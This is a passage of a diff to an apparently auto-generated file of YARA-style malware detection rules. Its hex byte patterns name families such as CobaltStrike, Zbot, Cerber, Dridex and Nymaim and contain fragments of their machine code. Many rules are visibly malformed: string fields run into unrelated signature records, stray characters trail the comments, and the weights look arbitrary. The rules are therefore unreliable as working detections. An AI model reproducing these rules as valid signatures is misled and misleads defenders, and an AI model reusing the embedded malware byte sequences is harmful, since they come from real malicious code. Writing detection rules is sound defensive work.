6d 64 6d 2e 64 6c 6c 01 00 07 00 63 69 63 2e 64 6c 6c 01 00 07 00 63 6c 62 } //0 + $a_71_4 = {00 07 00 63 61 62 76 69 65 77 00 00 78 88 00 00 6e 00 6e 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 42 59 00 64 00 33 02 36 c6 84 28 90 01 02 ff ff 5c 40 36 c7 84 28 90 01 02 ff ff 6e 74 64 6c 36 c7 84 28 90 01 02 ff ff 6c 2e 64 6c 66 36 c7 84 28 90 01 02 ff ff 6c 00 90 00 0a 00 0e 02 } //24931 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=20 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4096+(#a_03_2 & 1)*10+(#a_88_3 & 1)*0+(#a_71_4 & 1)*24931) >=20 } -rule _InfrastructureShared_9089{ +rule _InfrastructureShared_9652{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 43 21 4d 54 42 00 0f 00 2d 03 c1 e8 0d 33 44 24 70 69 c0 95 e9 d1 5b 89 c1 c1 e9 0f 31 c1 89 4c 24 60 8b 05 90 01 04 8d 48 ff 0f af c8 f6 c1 01 b8 } //21539 + $a_86_1 = {00 0a 00 2b 03 48 8b 44 24 40 0f be 00 33 44 24 6c 69 c0 95 e9 d1 5b 33 44 24 64 89 44 24 5c 8b 05 90 01 04 8d 48 ff 0f af c8 f6 c1 01 b8 90 00 00 00 78 88 00 00 65 00 65 00 07 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 56 4d 00 64 00 0d 03 25 00 00 f0 ff 90 0a 50 01 0f 31 90 00 01 00 0a 00 63 64 6f 73 79 73 2e 64 6c 6c 01 00 0b 00 63 65 72 74 63 6c 69 2e 64 6c 6c 01 00 0a 00 63 65 77 6d 64 6d 2e 64 6c 6c 01 00 07 00 63 69 63 2e 64 6c 6c 01 00 07 00 63 6c 62 63 61 74 71 01 00 07 00 63 61 62 76 69 65 77 00 } //-2036 + condition: + ((#a_4c_0 & 1)*21539+(#a_86_1 & 1)*-2036) >=25 + +} +rule _InfrastructureShared_9653{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 07 00 21 " @@ -97378,7 +103515,7 @@ rule _InfrastructureShared_9089{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28004+(#a_53_2 & 1)*8993+(#a_28_3 & 1)*-14538+(#a_00_4 & 1)*110+(#a_01_5 & 1)*-28640+(#a_90_6 & 1)*0) >=101 } -rule _InfrastructureShared_9090{ +rule _InfrastructureShared_9654{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,6e 00 6e 00 03 00 21 " @@ -97389,7 +103526,7 @@ rule _InfrastructureShared_9090{ ((#a_54_0 & 1)*18467+(#a_08_2 & 1)*-31998) >=110 } -rule _InfrastructureShared_9091{ +rule _InfrastructureShared_9655{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,fffffff4 01 fffffff4 01 05 00 21 " @@ -97402,7 +103539,7 @@ rule _InfrastructureShared_9091{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_01_2 & 1)*-28557+(#a_20_3 & 1)*2560) >=500 } -rule _InfrastructureShared_9092{ +rule _InfrastructureShared_9656{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97412,7 +103549,7 @@ rule _InfrastructureShared_9092{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9093{ +rule _InfrastructureShared_9657{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97422,7 +103559,7 @@ rule _InfrastructureShared_9093{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9094{ +rule _InfrastructureShared_9658{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97432,7 +103569,7 @@ rule _InfrastructureShared_9094{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9095{ +rule _InfrastructureShared_9659{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97442,7 +103579,7 @@ rule _InfrastructureShared_9095{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9096{ +rule _InfrastructureShared_9660{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97452,7 +103589,7 @@ rule _InfrastructureShared_9096{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9097{ +rule _InfrastructureShared_9661{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97462,7 +103599,7 @@ rule _InfrastructureShared_9097{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9098{ +rule _InfrastructureShared_9662{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97472,7 +103609,7 @@ rule _InfrastructureShared_9098{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9099{ +rule _InfrastructureShared_9663{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97482,7 +103619,7 @@ rule _InfrastructureShared_9099{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9100{ +rule _InfrastructureShared_9664{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97492,7 +103629,7 @@ rule _InfrastructureShared_9100{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9101{ +rule _InfrastructureShared_9665{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97502,7 +103639,7 @@ rule _InfrastructureShared_9101{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9102{ +rule _InfrastructureShared_9666{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97512,7 +103649,7 @@ rule _InfrastructureShared_9102{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9103{ +rule _InfrastructureShared_9667{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97522,7 +103659,7 @@ rule _InfrastructureShared_9103{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9104{ +rule _InfrastructureShared_9668{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97532,7 +103669,7 @@ rule _InfrastructureShared_9104{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9105{ +rule _InfrastructureShared_9669{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97542,7 +103679,7 @@ rule _InfrastructureShared_9105{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9106{ +rule _InfrastructureShared_9670{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97552,7 +103689,7 @@ rule _InfrastructureShared_9106{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_9107{ +rule _InfrastructureShared_9671{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97562,7 +103699,7 @@ rule _InfrastructureShared_9107{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9108{ +rule _InfrastructureShared_9672{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97572,7 +103709,7 @@ rule _InfrastructureShared_9108{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9109{ +rule _InfrastructureShared_9673{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -97582,7 +103719,17 @@ rule _InfrastructureShared_9109{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_9110{ +rule _InfrastructureShared_9674{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4f 4c 21 4d 54 42 00 01 00 56 03 48 63 44 24 90 01 01 48 8d 0d 90 01 04 8b 04 81 ff c8 48 98 48 8d 0d 90 01 04 48 63 54 24 90 01 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_9675{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97593,7 +103740,7 @@ rule _InfrastructureShared_9110{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*13622) >=1 } -rule _InfrastructureShared_9111{ +rule _InfrastructureShared_9676{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97604,7 +103751,7 @@ rule _InfrastructureShared_9111{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*25649) >=1 } -rule _InfrastructureShared_9112{ +rule _InfrastructureShared_9677{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97615,7 +103762,7 @@ rule _InfrastructureShared_9112{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*14387) >=1 } -rule _InfrastructureShared_9113{ +rule _InfrastructureShared_9678{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97626,7 +103773,7 @@ rule _InfrastructureShared_9113{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*14182) >=1 } -rule _InfrastructureShared_9114{ +rule _InfrastructureShared_9679{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97637,7 +103784,7 @@ rule _InfrastructureShared_9114{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24885) >=1 } -rule _InfrastructureShared_9115{ +rule _InfrastructureShared_9680{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97648,7 +103795,7 @@ rule _InfrastructureShared_9115{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*13624) >=1 } -rule _InfrastructureShared_9116{ +rule _InfrastructureShared_9681{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97658,7 +103805,7 @@ rule _InfrastructureShared_9116{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_9117{ +rule _InfrastructureShared_9682{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97669,7 +103816,7 @@ rule _InfrastructureShared_9117{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*513) >=1 } -rule _InfrastructureShared_9118{ +rule _InfrastructureShared_9683{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97680,7 +103827,7 @@ rule _InfrastructureShared_9118{ ((#a_54_0 & 1)*18467+(#a_ff_1 & 1)*-2509) >=1 } -rule _InfrastructureShared_9119{ +rule _InfrastructureShared_9684{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -97691,7 +103838,7 @@ rule _InfrastructureShared_9119{ ((#a_77_0 & 1)*19491+(#a_44_1 & 1)*14640) >=1 } -rule _InfrastructureShared_9120{ +rule _InfrastructureShared_9685{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -97703,7 +103850,7 @@ rule _InfrastructureShared_9120{ ((#a_54_0 & 1)*18467+(#a_7a_1 & 1)*17863+(#a_61_2 & 1)*26625) >=1 } -rule _InfrastructureShared_9121{ +rule _InfrastructureShared_9686{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -97713,7 +103860,7 @@ rule _InfrastructureShared_9121{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_9122{ +rule _InfrastructureShared_9687{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -97725,23 +103872,36 @@ rule _InfrastructureShared_9122{ ((#a_5f_0 & 1)*25635+(#a_5c_1 & 1)*-8056+(#a_3a_2 & 1)*21587) >=1 } -rule _InfrastructureShared_9123{ +rule _InfrastructureShared_9688{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " strings : $a_54_0 = {3a 4f 62 66 75 73 63 61 74 6f 72 2e 50 58 00 01 00 05 05 8b 44 24 00 e9 01 00 05 05 8b 4c 24 00 e9 01 00 05 05 8b 54 24 00 e9 01 00 05 05 8b 5c 24 00 e9 01 00 05 05 8b 74 24 00 e9 01 00 05 05 8b 7c 24 00 e9 01 00 05 05 8b 44 24 00 eb 01 00 05 05 8b } //18467 $a_8b_2 = {24 00 eb 01 00 } //1280 - $a_5c_3 = {00 eb 01 00 05 05 8b 74 24 00 eb 01 00 05 05 8b 7c 24 00 eb 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 2e 4a 21 62 69 74 00 01 00 2e 03 f7 f6 8a 5d 90 01 01 0f af c1 8b 4d 90 01 01 32 19 8b 4d 90 01 01 83 f0 90 01 01 0f af 45 90 01 01 d1 6d f8 88 19 8b c8 84 db 75 04 90 00 01 00 1c 03 32 c1 88 07 90 09 } //1285 - $a_45_4 = {01 01 8a 0c 38 3a cb 75 04 32 c0 eb 04 8a c3 90 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 2e 41 53 21 4d 54 42 00 01 00 4a 02 29 f6 2b 37 f7 de 83 ef 90 01 01 83 ee 90 01 01 c1 ce 90 01 01 29 d6 83 ee 90 01 01 29 d2 29 f2 f7 da c1 c2 90 01 01 d1 90 01 01 6a 90 01 01 8f 01 21 31 83 e9 90 01 01 83 eb 90 01 01 8d 5b 90 01 01 83 fb 90 01 01 75 90 } //16 - $a_00_7 = {72 00 76 00 65 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 5a 58 00 01 00 21 03 3b c8 7e e4 90 0a 1c 00 0f b7 90 01 02 33 f6 66 89 84 90 01 05 66 3b f0 74 09 0f b7 47 2c 41 90 00 01 00 3b 03 66 3b 47 2c 73 90 01 01 8a 1c 90 01 01 8a c3 2c } //120 - $a_d0_8 = {4b 9f 0f b6 c3 80 f9 19 0f 47 d0 88 90 02 06 84 d2 90 02 03 74 90 01 01 0f b7 47 2c 46 8b 90 02 06 3b f0 7c 90 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 4e 21 4d 54 42 00 01 00 1f 02 8d 0b 19 df bf 90 01 04 2b d1 8a ed 0f c9 85 ce 89 10 f6 c1 90 01 01 b5 90 01 01 8a ca 90 00 01 00 39 02 0f c1 c8 50 90 02 20 50 90 02 0a 5e 90 02 10 68 90 01 04 90 02 0a 5b 90 02 15 03 f3 90 02 0a 81 c6 90 01 04 56 90 02 1a 68 90 01 04 90 02 0a 5a 81 c2 90 01 04 8d 3a 90 00 00 00 78 } //3872 - $a_41_11 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4a 52 21 4d 54 42 00 } //8448 + $a_5c_3 = {00 eb 01 00 05 05 8b 74 24 00 eb 01 00 05 05 8b 7c 24 00 eb 00 00 78 89 00 00 02 00 02 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4c 43 4d 44 21 4d 54 42 00 02 00 54 03 66 0f 6f e8 66 0f fc e9 f3 0f 6f 74 07 90 01 01 66 0f ef f5 f3 0f 6f 6c 07 90 01 01 f3 0f 6f 3c 07 f3 0f 7f 74 07 90 01 01 66 0f 6f f0 66 0f fc f2 66 0f ef f5 f3 0f 7f 74 07 90 01 01 66 } //1285 + $a_66_4 = {fc eb 66 0f ef ef f3 0f 7f 2c 07 66 0f fc c4 90 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 4e 79 6d 61 69 6d 2e 4a 21 62 69 74 00 01 00 2e 03 f7 f6 8a 5d 90 01 01 0f af c1 8b 4d 90 01 01 32 19 8b 4d 90 01 01 83 f0 90 01 01 0f af 45 90 01 01 d1 6d f8 88 19 8b c8 84 db 75 04 90 00 01 00 1c 03 32 c1 88 07 90 09 10 00 8b 45 90 01 01 8a 0c 38 3a cb 75 04 32 c0 eb 04 8a c3 90 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 72 62 65 72 2e 41 53 21 4d 54 42 00 01 00 4a 02 29 f6 2b 37 f7 de 83 ef 90 01 01 83 ee 90 01 01 c1 ce 90 01 01 29 d6 83 ee } //28431 + $a_29_5 = {29 } //400 ) + $a_c1_6 = {90 01 01 d1 90 01 01 6a 90 01 01 8f 01 21 31 83 e9 90 01 01 83 eb 90 01 01 8d 5b 90 01 01 83 fb 90 01 01 75 90 00 01 00 0e 00 64 00 66 00 78 00 68 00 72 00 76 00 65 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 72 69 64 65 78 2e 5a 58 00 01 00 21 03 3b c8 7e e4 90 0a 1c 00 0f b7 90 01 02 33 f6 66 89 84 90 01 05 66 3b f0 74 09 0f b7 47 2c 41 90 00 01 00 3b 03 66 3b 47 2c 73 90 01 01 8a 1c 90 01 01 8a c3 2c 20 0f b6 d0 8d 4b 9f 0f b6 c3 80 f9 19 0f 47 d0 88 90 02 06 84 d2 90 02 03 74 90 01 01 0f b7 47 2c 46 8b 90 02 06 3b f0 7c 90 00 00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f } //-2062 + $a_3a_7 = {69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 4e 21 4d 54 42 00 01 00 1f 02 8d 0b 19 df bf 90 01 04 2b d1 8a ed 0f c9 85 ce 89 10 f6 c1 90 01 01 b5 90 01 01 8a ca 90 00 01 00 39 02 0f c1 c8 50 90 02 20 50 90 02 0a 5e 90 02 10 68 90 01 04 90 02 0a 5b 90 02 15 03 f3 90 02 0a 81 c6 90 01 04 56 90 02 1a 68 90 01 04 90 02 0a 5a 81 c2 90 01 } //24938 + $a_90_8 = {00 00 78 89 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 73 74 72 69 6b 65 2e 4a 52 21 4d 54 42 00 01 00 25 03 48 8b 44 } //-29436 + $a_01_9 = {48 } //-28636 H + $a_89_10 = {24 90 01 01 48 8b 44 24 90 01 01 48 8b 00 48 39 44 24 90 01 01 73 90 00 01 00 2d 03 48 8b 54 24 90 01 01 48 03 d1 48 8b ca 0f b6 09 33 c8 8b c1 48 8b 4c 24 90 01 01 48 8b 54 24 90 01 01 48 03 d1 48 8b ca 88 01 eb 90 } //-16129 condition: - ((#a_54_0 & 1)*18467+(#a_8b_2 & 1)*1280+(#a_5c_3 & 1)*1285+(#a_45_4 & 1)*16+(#a_00_7 & 1)*120+(#a_d0_8 & 1)*3872+(#a_41_11 & 1)*8448) >=1 + ((#a_54_0 & 1)*18467+(#a_8b_2 & 1)*1280+(#a_5c_3 & 1)*1285+(#a_66_4 & 1)*28431+(#a_29_5 & 1)*400+(#a_c1_6 & 1)*-2062+(#a_3a_7 & 1)*24938+(#a_90_8 & 1)*-29436+(#a_01_9 & 1)*-28636+(#a_89_10 & 1)*-16129) >=1 } -rule _InfrastructureShared_9124{ +rule _InfrastructureShared_9689{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 4c 43 4d 44 21 4d 54 42 00 02 00 54 03 66 0f 6f e8 66 0f fc e9 f3 0f 6f 74 07 90 01 01 66 0f ef f5 f3 0f 6f 6c 07 90 01 01 f3 0f } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_9690{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97752,7 +103912,7 @@ rule _InfrastructureShared_9124{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*257) >=2 } -rule _InfrastructureShared_9125{ +rule _InfrastructureShared_9691{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97763,7 +103923,7 @@ rule _InfrastructureShared_9125{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*257) >=2 } -rule _InfrastructureShared_9126{ +rule _InfrastructureShared_9692{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97774,7 +103934,7 @@ rule _InfrastructureShared_9126{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*-30207) >=2 } -rule _InfrastructureShared_9127{ +rule _InfrastructureShared_9693{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97785,7 +103945,7 @@ rule _InfrastructureShared_9127{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*24074) >=2 } -rule _InfrastructureShared_9128{ +rule _InfrastructureShared_9694{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97796,7 +103956,7 @@ rule _InfrastructureShared_9128{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*813) >=2 } -rule _InfrastructureShared_9129{ +rule _InfrastructureShared_9695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97807,7 +103967,7 @@ rule _InfrastructureShared_9129{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*11264) >=2 } -rule _InfrastructureShared_9130{ +rule _InfrastructureShared_9696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97818,7 +103978,7 @@ rule _InfrastructureShared_9130{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*111) >=2 } -rule _InfrastructureShared_9131{ +rule _InfrastructureShared_9697{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97829,7 +103989,7 @@ rule _InfrastructureShared_9131{ ((#a_54_0 & 1)*18467+(#a_c1_1 & 1)*-18673) >=2 } -rule _InfrastructureShared_9132{ +rule _InfrastructureShared_9698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97840,7 +104000,7 @@ rule _InfrastructureShared_9132{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*20581) >=2 } -rule _InfrastructureShared_9133{ +rule _InfrastructureShared_9699{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97851,7 +104011,7 @@ rule _InfrastructureShared_9133{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*24943) >=2 } -rule _InfrastructureShared_9134{ +rule _InfrastructureShared_9700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97862,7 +104022,7 @@ rule _InfrastructureShared_9134{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4952) >=2 } -rule _InfrastructureShared_9135{ +rule _InfrastructureShared_9701{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97873,7 +104033,7 @@ rule _InfrastructureShared_9135{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*-31996) >=2 } -rule _InfrastructureShared_9136{ +rule _InfrastructureShared_9702{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -97884,34 +104044,57 @@ rule _InfrastructureShared_9136{ ((#a_6f_0 & 1)*21539+(#a_6f_1 & 1)*25970) >=2 } -rule _InfrastructureShared_9137{ +rule _InfrastructureShared_9703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 44 72 79 76 61 6e 2e 44 21 64 68 61 00 01 00 1c 03 45 6b ed 64 41 03 f5 8b 45 90 01 01 99 41 f7 fe 2b f2 8b c6 99 f7 f9 48 8b f2 90 00 01 00 26 00 48 8b 00 8b 70 fc 8b 7b fc 44 8b } //16675 $a_ef_1 = {c6 23 c7 } //17646 - $a_f7_2 = {8b d6 0b d7 23 ca 0b c1 f7 c0 00 00 00 80 01 00 10 01 63 00 3a 00 5c 00 31 00 2e 00 65 00 78 00 65 00 00 00 78 89 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 4e 65 74 6f 73 68 61 66 69 72 2e 41 30 00 01 00 0c 01 37 41 44 38 30 43 42 32 31 30 34 38 01 00 0c 01 31 30 34 45 38 31 43 37 30 44 34 35 01 00 0c 01 42 45 31 44 42 30 31 37 42 43 31 35 01 00 0e 01 39 31 44 38 31 30 36 43 38 36 46 46 36 32 01 00 16 01 46 33 36 30 45 31 36 39 45 41 36 46 45 34 36 30 41 30 45 33 37 35 01 00 0c 01 38 35 38 33 44 41 36 31 46 30 32 31 00 00 78 89 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //-29887 + $a_f7_2 = {8b d6 0b d7 23 ca 0b c1 f7 c0 00 00 00 80 01 00 10 01 63 00 3a 00 5c 00 31 00 2e 00 65 00 78 00 65 00 00 00 78 89 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 4e 65 74 6f 73 68 61 66 69 72 2e 41 30 00 01 00 0c 01 37 41 44 38 30 43 42 32 31 30 34 38 01 00 0c 01 31 30 34 45 38 31 43 37 30 44 34 35 01 00 0c 01 42 45 31 44 42 30 31 37 42 43 31 35 01 00 0e 01 39 31 44 38 31 30 36 43 38 36 46 46 36 32 01 00 16 01 46 33 36 30 45 31 36 39 45 41 36 46 45 34 36 30 41 30 45 33 37 35 01 00 0c 01 38 35 38 33 44 41 36 31 46 30 32 31 00 00 78 89 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //-29887 condition: ((#a_46_0 & 1)*16675+(#a_ef_1 & 1)*17646+(#a_f7_2 & 1)*-29887) >=2 } -rule _InfrastructureShared_9138{ +rule _InfrastructureShared_9704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " strings : $a_54_0 = {3a 4e 65 74 6f 73 68 61 66 69 72 2e 41 30 00 01 00 0c 01 37 41 44 38 30 43 42 32 31 30 34 38 01 00 0c 01 31 30 34 45 38 31 43 37 30 44 34 35 01 00 0c 01 42 45 31 44 42 30 31 37 42 43 31 35 01 00 0e 01 39 31 44 38 31 30 36 43 38 36 46 46 36 32 01 00 } //18467 - $a_33_1 = {30 45 31 36 39 45 41 36 46 45 34 36 30 41 30 45 33 37 35 01 00 0c 01 38 35 38 33 44 41 36 31 46 30 32 31 00 00 78 89 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 54 72 